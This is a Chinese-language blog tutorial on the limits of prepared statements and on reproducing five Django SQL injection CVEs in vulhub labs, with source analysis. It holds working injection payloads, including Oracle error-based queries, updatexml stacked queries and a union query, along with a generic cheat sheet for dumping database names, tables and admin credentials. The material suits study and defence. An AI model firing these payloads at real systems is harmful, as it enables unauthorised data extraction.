前言
SQL注入,是每个网安人不得不面对的漏洞,同样也造就了一大批新技术的产生。13年就有人说SQL注入已死。然而直到19年网上还有大批SQL注入的教程。到底是是SQL注入已经从原理上被根绝了。还是说只是基础的手段失效了,还是只要构造更加精妙的语句还是可以注入?其实SQL注入无时不在,一次SQL注入可能直接会干掉一个核心系统,这绝不是危言耸听。呵呵...... 在新手刷完DVWA,pikachu中SQL注入后,总会听到一个名词[预编译],可是预编译为什么能防SQL注入?他告诉你了吗?
答案是:没有!
预编译为什么能防SQL注入?
preparestatement预编译机制会在SQL语句执行前,对其进行语法分析、编译和优化,其中参数位置使用占位符?进行代替
真正运行时,传过来的参数会被看作是一个纯文本,不会重新编译,不会被当做SQL指令。这样,即使传入SQL注入指令如:
id; select 1,2 --
最终执行的语句会变成:
select * from user order by 'id; select 1,2 --' limit 1,20
这样就不会出现SQL注入问题了
预编译难道真的就一劳永逸?
举个例子:like语句
select * from user where name like '%1%';
正常情况下是没有问题的。但有些场景下要求传入的条件是必填的,比如:name是必填的,如果注入了:%
最后执行的SQL会变成这样的:
select * from user where name like '%%%';
这种情况预编译机制是正常通过的,但SQL的执行结果不会返回包含%的用户,而是返回了所有用户。
name字段必填变得没啥用了,攻击者同样可以获取用户表所有数据.
为什么会出现这个问题呢?
%
在mysql中是关键字,如果使用like '%%%'
,该like条件会失效。
如何解决呢?需要对%进行转义:%
。转义后的SQL变成:
select * from user where name like '%%%';
只会返回包含%的用户。
关于逼乎上一位大佬的评价
1.预编译不能解决所有SQL注入:比如表名/列名/排序动态传入的场景,原因是这些地方不能预编译,因此很多人还是直接拼接的,且囿于对预编译的信赖,从外到里没有过滤。
2.可以预编译的地方也有可能出现问题:注入一般爆发在LIKE语句/IN语句中,因为这两个地方的预编译写法都有些特殊,很多开发者懒得去搞,就直接拼接了。
3.在SQL语句的写法上,直接拼接比预编译简单太多了,没有接触过信息安全的初学者写出来的代码很大可能存在漏洞;就算是有经验的程序员,在快速上线的压力下,也没有时间再去考虑信息安全的问题。
4.有太多有漏洞的老代码来不及或不能换上预编译,只能靠WAF苟活,而WAF这种东西本身就是在用户体验与安全性之间的一种矛盾集合体,总有被绕过的可能性。
最后,其实我想说的是,就新开发的系统来说,SQL注入漏洞确实越来越少了,做到这一点的不是大家的安全意识增强,都知道使用预编译了,而是大量成熟的框架与组件,其本身自带有对安全性的考量,使开发者无感知的写出较为安全的代码。
SQL注入作为漏洞之王不会就此消失,漏洞从来都是环环相扣,褪去外网坚韧的防御,内网脆弱无比,拼接来自于人的懒惰,且永远不会缺席。
SQL注入的今后何去何从?
黑盒下的SQL注入会消失。白盒情况下,各大框架依旧会爆出SQL注入,时代都在进步,从前几年随便在参数后面加个单引号就能找到SQL注入,黑盒情况下的SQL注入只会越来越少,直到消失。但如果有人审计到了框架的SQL注入点,就会引发大范围内的SQL注入漏洞。可以说:SQL注入只是门槛变高了,和以前的底层一样,但并不会消失。那以后会不会白盒的SQL注入也会消失?我觉得并不会,而我们今天这篇文章就是看看这些漏洞,反复的去认知SQL注入,从每一个案列吸收精华,期待有一天你也能成为代审大牛子,而不是像我一样,狗着下被人投毒的CVE。希望2023年你也会成为大牛子,不管是技术上还是下面的。都要牛/大起来!
CVE-2019-14234
Django JSONField/HStoreField SQL注入漏洞
漏洞简述:
Django是Django基金会的一套基于Python语言的开源Web应用框架。该框架包括面向对象的映射器、视图系统、模板系统等。它支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等等,但与Django天生为一对儿的数据库莫过于Postgresql,Django官方也建议配合Postgresql一起使用。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,但是在Django通过JSONField生成SQL语句时,他是通过简单的字符串拼接。导致了SQL注入漏洞的出现,由于使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。Django自带的后台应用Django-Admin中就存在这样的写法,我们可以直接借助它来复现漏洞。主要影响:
-
Django 主开发分支 -
Django 2.2.x < 2.2.4 -
Django 2.1.x < 2.1.11 -
Django 1.11.x < 1.11.23
好了,我们需要了解到SQL注入的另一种形式—ORM注入(Object Relational Mapping)
-
ORM是什么:ORM 是写程序时的一种写法,以前写程序查数据库的时候都是代码加 SQL 语句写到一起,程序庞大后就很难管理,很难维护。后来就把程序和 SQL 语句分开了。同时 ORM 把 SQL 的写法进行了封装,程序调用更为方便,能让程序员真正的去关注逻辑层代码,去面向对象编程; -
该漏洞成因:可控的queryset中有transform和lookup两个方式,分别被作用于“通过外键连接两个表”和“通过什么方式与里面的值进行比对(默认情况下是exact)”。所以只要是控制了queryset的键名,注入就水到渠成了,但这里有一个问题就是.filter( )里的键名是没有办法控制的,能控制的只有键值。但有一种情况,就是开发者把用户传入的整个对象都传给了filter()函数时,用户就可以通过控制filter的键名来进一步控制queryset的键名,进而实现ORM注入。
仔细学习就去看phith0n师傅的文章:Django JSONField SQL注入漏洞(CVE-2019-14234)分析与影响
https://www.leavesongs.com/PENETRATION/django-jsonfield-cve-2019-14234.html
漏洞复现:
我也相信你对于docker拉取镜像和vulhub靶场的使用了然于心,我就不再将配置环境得到问题,希望你能落到实处,看一遍模仿一遍,再自己凭记忆来一遍。
首先登陆后台http://ip:8000/admin/
,用户名密码为admin
、a123123123
进入模型Collection
的管理页面,在GET参数中构造detail__a'b=123
提交,其中detail
是模型Collection
中的JSONField:
why?为什么这么做?我们把phithon师傅的内容引用过来看看造成注入的原因是什么
我们先看看JSONField的实现源码:
class JSONField(CheckFieldDefaultMixin, Field):
empty_strings_allowed = False
description = _('A JSON object')
default_error_messages = {
'invalid': _("Value must be valid JSON."),
}
_default_hint = ('dict', '{}')
# ...
def get_transform(self, name):
transform = super().get_transform(name)
if transform:
return transform
return KeyTransformFactory(name)
JSONField继承自Field,其实Django中所有字段都继承自Field,其中定义了get_transform
函数。
Django中有以下两个概念:
-
Lookup -
Transform
给出一个例子来说明这两者的区别:
.filter(detail__tags__contains='django')
这个queryset中,__tags
是transform,而__contains
是lookup。他们的区别是:transform表示“如何去找关联的字段”,lookup表示“这个字段如何与后面的值进行比对”。正常情况下,transform一般用来在通过外键连接两个表,比如.filter(author__username='phith0n')
可以表示在author
外键连接的用户表中,找到username
字段;lookup很多时候是被省略的,比如.filter(username='phith0n')
表示找到用户名为phith0n
的用户,这个被省略的lookup其实就是__exact
。
用伪SQL语句表示就是:
WHERE `users`[1] [2] 'value'
位置[1]
是transform,位置[2]
是lookup,比如transform是寻找外键表的字段username
,lookup是exact
(也就是等于),那么生成的SQL语句就是WHERE users.username = 'value'
。那么,在JSONField中,lookup实际上是没有变的,但是transform从“在外键表中查找”,变成了“在JSON对象中查找”,所以自然需要重写get_transform
函数。get_transform
函数应该返回一个可执行对象,你可以理解为工厂函数,执行这个工厂函数,获得一个transform对象。而JSONField
用的工厂函数是KeyTransformFactory
类,其返回的是KeyTransform
对象:
class KeyTransformFactory:
def __init__(self, key_name):
self.key_name = key_name
def __call__(self, *args, **kwargs):
return KeyTransform(self.key_name, *args, **kwargs)
class KeyTransform(Transform):
operator = '->'
nested_operator = '#>'
def __init__(self, key_name, *args, **kwargs):
super().__init__(*args, **kwargs)
self.key_name = key_name
def as_sql(self, compiler, connection):
key_transforms = [self.key_name]
previous = self.lhs
while isinstance(previous, KeyTransform):
key_transforms.insert(0, previous.key_name)
previous = previous.lhs
lhs, params = compiler.compile(previous)
if len(key_transforms) > 1:
return "(%s %s %%s)" % (lhs, self.nested_operator), [key_transforms] + params
try:
int(self.key_name)
except ValueError:
lookup = "'%s'" % self.key_name
else:
lookup = "%s" % self.key_name
return "(%s %s %s)" % (lhs, self.operator, lookup), params
Django的model最本质的作用是生成SQL语句,所以transform和lookup都需要实现一个名为as_sql
的方法用来生成SQL语句。这里原本生成的语句应该是:
WHERE (field->'[key_name]') = 'value'
但这里可见,[key_name]
位置的json字段名居然是……字符串拼接!
这就是本漏洞出现的原因。
所以我们构造语句/admin/vuln/collection/?detail__a'b=123
可见,注入单引号导致SQL报错
那么后端所执行的其实就是:
Collection.objects.filter(**dict("detail__a'b": '123')).all()
同样的,麻烦在vulfcous靶场重新做一遍拿到flag,加深记忆和理解
CVE-2020-9402
Django GIS SQL注入漏洞
这个漏洞的成因就是开发者使用了GIS中聚合查询的功能,用户在oracle的数据库且可控tolerance查询时的键名,在其位置注入SQL语句导致出现漏洞。影响的版本有:
-
1.11.29之前的1.11.x版本 -
2.2.11之前的2.2.x版本 -
3.0.4之前的3.0.x版本
GIS什么鬼?
防止你代码看不懂,我们特意学习一下这个接口的作用,GIS查询API是一个地理位置的查询API,提供用户存储精确GPS的位置的数据模块,属于空间数据库,我们可以通过如下的经纬度信息
pnt = GEOSGeometry('POINT(-96.876369 29.905320)', srid=4326)
>>>SRID=4326;POINT (-96.876369 29.90532)
来获得一个具体的定位信息,通过如下的模块来构建一个基本的地理信息存储
from django.contrib.gis.db import models
class Names(models.Model):
name = models.CharField(max_length=128)
def __str__(self):
return self.name
class Interstate(Names):
path = models.LineStringField()
后台存储的时候发出path的信息为json数据,例如
{"type":"LineString","coordinates":[[-8167.236601807093,-3286.248045708844],[-7896.285624495958,-3324.9553281818644],[1083.8039092445451,-654.1528375435246]]}
同理,我们可以看看官方文档,是怎么构造聚合查询的,我不想看哈哈,我们直接看看根据官方的信息:
https://github.com/django/django/commit/6695d29b1c1ce979725816295a26ecc64ae0e927#diff-229e38ececbfc591f7a5e595bf5707c4
问题是出在了GIS的聚合查询上,官方只修复了这两个位置,基本上是对于tolerance
参数进行判断是否为数字。在维修之前简单说就是tolerance
没有做任何检查直接传入了template模版语句中
利用方式有两种:
-
报错注入 -
CVE-2014-6577二次利用
报错注入
两个利用点:
-
在vuln/中使用 get
方法构造q
的参数,构造SQL注入的字符串20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
http://IP:8000/vuln/?q=20) = 1 OR (select utl_inaddr.get_host_name((SELECT version FROM v$instance)) from dual) is null OR (1+1
-
在vuln2/中使用 get
方法构造q
的参数,构造出SQL注入的字符串0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --
http://IP:8000/vuln2/?q=0.05))) FROM "VULN_COLLECTION2" where (select utl_inaddr.get_host_name((SELECT user FROM DUAL)) from dual) is not null --
CVE-2014-6577二次利用
详见师傅文章:https://xz.aliyun.com/t/7403,这个我并没有复现,因为要想尝试oracle XXE来进行SQL的注入,docker起的oracle必须要配置JAVA的环境,很显然,我没有,呵呵呵.....
CVE-2021-35042
Django QuerySet.order_by() SQL注入漏洞
Django这个Web应用框架,由Python写成。采用了MVC的框架模式,即模型M,视图V和控制器C。它最初是被开发来用于管理劳伦斯出版集团旗下的一些以新闻内容为主的网站的,即是CMS(内容管理系统)软件。Django 组件存在 SQL 注入漏洞,该漏洞是由于对 QuerySet.order_by()
中用户提供数据的过滤不足,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行 SQL 注入攻击,最终造成服务器敏感信息泄露。
Django中的models
在Django开发并且配合在数据库中创建表并定义字段,需要在models.py文件中声明一个模型类,举个例子:
定义了一个叫Collection的表,表中有一个叫name的字段,是不是很简单,因为他是python开发的产物,所以好理解一点
from django.db import models
class Collection(models.Model)
name = models.CharField(max_length=128)
QuerySet与order_by
我们光说该漏洞是由于对QuerySet.order_by()
中用户提供数据的过滤不足导致的注入,如果不告诉你这两者的作用,这不就等于脱裤子放屁,没想到是屎。Django他内置了一个ORM框架,从数据库查询出来后的结果是一个合集,而这个合集就是QuerySet。order_by这个方法的作用一般是将查询出来的结果按照某字段的值,由小到大或由大到小进行排序。
判断是否使用了order_by方法
返回的结果按照id值排序Collection.objects.order_by('id')
,默认是从小到大的顺序。
如果想要变成从大到小,只需要把'id'变成'-id'
即可。
因此可以通过在参数值前面加'-'
来判断,如果返回的顺序颠倒了那么就是使用了order_by。
漏洞复现
进入目录/vuln/下发现列表视图
我们添加order=-id
到 GET参数中看看
发现有了明显的排序变化:id降序排列
我们还得再在这里附上源码:方便理解模型
def vul(request):
query = request.GET.get('order',default='id')
q = Collection.objects.order_by(query)
return Httpresponse(q.valuves)
在这个视图函数中,先获取到了用户传入的参数值order(如果没有传入参数默认值为id)。然后到Collection表中进行数据查询,对返回的结果按照id值从小到大进行排序,最后使用values()函数将数据合集转化成一个一个json的数据格式返回。
好了到这你应该就恍然大悟了,明白排序控制的原因了,好进入正题,当我们传入参数,必须会有一个函数来判断order_by 的排序顺序和表达式。他来了:
def add_ordering(self, *ordering):
"""
Add items from the 'ordering' sequence to the query's "order by"
clause. These items are either field names (not column names) --
possibly with a direction prefix ('-' or '?') -- or OrderBy
expressions.
If 'ordering' is empty, clear all ordering from the query.
"""
errors = []
for item in ordering:
if isinstance(item, str):
if '.' in item:
warnings.warn(
'Passing column raw column aliases to order_by() is '
'deprecated. Wrap %r in a RawSQL expression before '
'passing it to order_by().' % item,
category=RemovedInDjango40Warning,
stacklevel=3,
)
continue
if item == '?':
continue
if item.startswith('-'):
item = item[1:]
if item in self.annotations:
continue
if self.extra and item in self.extra:
continue
# names_to_path() validates the lookup. A descriptive
# FieldError will be raise if it's not.
self.names_to_path(item.split(LOOKUP_SEP), self.model._meta)
elif not hasattr(item, 'resolve_expression'):
errors.append(item)
if getattr(item, 'contains_aggregate', False):
raise FieldError(
'Using an aggregate in order_by() without also including '
'it in annotate() is not allowed: %s' % item
)
if errors:
raise FieldError('Invalid order_by arguments: %s' % errors)
if ordering:
self.order_by += ordering
else:
self.default_ordering = False
首先在add_ordering()函数中,进行如下了五个判断:
-
字段中是否带点 -
字段是否为问号 -
字段开头是否为短横杠 -
判断是否在一个map字典、 -
判断是否有额外的参数信息
如果全部参数无异常会进入self.names_to_path
中进行数据获取,并进行相关逻辑处理,这个过程是不会进行SQL注入拼接的。当用户输入的字段中带了点'id.'
,就会跳出循环进入到_fetch_all
中,这个时候会进行SQL查询:
SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY ("id".) ASC。
可以看到会把点带进查询。也就是说把'id.'
进行了拼接。因此可以尝试闭合语句配合回显进行报错注入:
其中vuln_collection
是vuln
应用下的模型Collection
SELECT "vuln_collection"."id", "vuln_collection"."name" FROM "vuln_collection" ORDER BY (vuln_collection.id);select updatexml(1,concat(0x7e,(select @@version)),1);# ASC
最终的payload(锚点#
记得URL编码处理成%23
,或者用--
注释):
查看MySQL数据库版本
?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
查看根目录信息
?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@basedir)),1)%23
查看数据库名
?order=vuln_collection.name);select updatexml(1,concat(0x7e,database()),1)%23
后面的就不说了。updatexml报错注入,懂得都懂,还是复习一下:
updatexml报错注入
拿上面构造的语句为例:
-
concat()
函数 是将其连成一个字符串,因此不会符合XPath_string
的格式,因此会造成格式错误 -
0x7e
是ASCII码,实为~
,updatexml报错为特殊字符、字母及之后的内容,为了防止前面的字母丢失,开头连接一个特殊字符
附上updatexml报错注入爆破常用语句:information_schema数据库为MySQL系统数据库
爆数据库版本信息
?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)
链接用户
?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
链接数据库
?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
爆库
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆表
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select table_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)
爆字段内容
?id=1 and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)
爆表名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)#
爆列名
?id=1 and updatexml(1,make_set(3,'~',(select group_concat(column_name) from information_schema.columns where table_name="users")),1)#
爆字段
?id=1 and updatexml(1,make_set(3,'~',(select data from users)),1)#
CVE-2022-34265
Django Trunc(kind) and Extract(lookup_name) SQL注入漏洞
Django在2022年7月4日发布了安全更新,修复了在数据库函数Trunc()
和Extract()
中存在的SQL注入漏洞。Extract和Trunk源码:
class Extract(TimezoneMixin, Transform):
lookup_name = None
output_field = IntegerField()
def __init__(self, expression, lookup_name=None, tzinfo=None, **extra):
if self.lookup_name is None:
self.lookup_name = lookup_name
if self.lookup_name is None:
raise ValueError('lookup_name must be provided')
self.tzinfo = tzinfo
super().__init__(expression, **extra)
class Trunc(TruncBase):
def __init__(self, expression, kind, output_field=None, tzinfo=None, is_dst=None, **extra):
self.kind = kind
super().__init__(
expression, output_field=output_field, tzinfo=tzinfo,
is_dst=is_dst, **extra
)
Extract用于提取日期,可以提起日期字段中的年,月,日。如2022-7-13 12:12:12可以提取2022。
Trunc用于截取日期,比如日期字段中年,月,日。可以截取2022-7-13。此次SQL注入漏洞的成因就是将数据赋值给lookup_name或kind时,未经过过滤或转义则直接进行了数据库的查询。影响版本:
-
3.2.0-3.2.14 -
4.0.0-4.0.6
这个我直接说是为什么,并分析源码了,他这个对于传入的参数,仅仅只是有一个大写的转换,没有检查就拼接到Where的SQL语句中查询,存在SQL注入漏洞,可以使用updatexml或extractvalue报错注入进行查询
环境启动后,你可以在http://ip:8000
看到一个页面
这个页面使用了Trunc函数来聚合页面点击数量,比如使用?date=minute
即可看到按照分钟聚合的点击量:
我们只要修改date
参数即可复现SQL注入漏洞:/?date=xxxx'xxxx
这个漏洞具体的代码分析,p牛之前在小密圈分析过,也可以看看这篇文章的分析:
https://www.caldow.cn/archives/1251
https://github.com/coco0x0a/CTF_Django_CVE-2022-34265
值得一提的:在不同数据库的情况下,漏洞的存在是不同的。MYSQL数据库后端不存在该漏洞 Trunc
功能。
在vulhub的环境中默认的是postsql,如果Django搭配了其他的数据库,那么利用的poc就不尽相同了。
CVE-2022-28346
Django 数据聚合函数 SQL注入漏洞
QuerySet.annotate()、aggregate() 和 extra() 方法会通过精心制作的字典(带有字典扩展)作为传递的 **kwargs 在列别名中进行 SQL 注入。影响版本:
-
4.0 <= Django < 4.0.4 -
3.2 <= Django < 3.2.13 -
2.2 <= Django < 2.2.28
poc:http://ip:port/demo?field=demo.name
POC: http://ip:port/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --
可以用这个复现环境去试试:
docker pull s0cke3t/cve-2022-28346:latest
docker run -d -p 8080:8000 s0cke3t/cve-2022-28346
总结
关于Django SQL注入历史漏洞的分析可以看这一篇:
https://xz.aliyun.com/t/11422#toc-10
关于代码审计,还是一件很枯燥很枯燥的事情,附上一张图就算是对我们Django篇的一个结束吧:
原文始发于微信公众号(猫哥的秋刀鱼回忆录):探寻SQL注入的历史价值内涵分析&Django中存在的SQL注入学习&代码审计与分析[上]
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论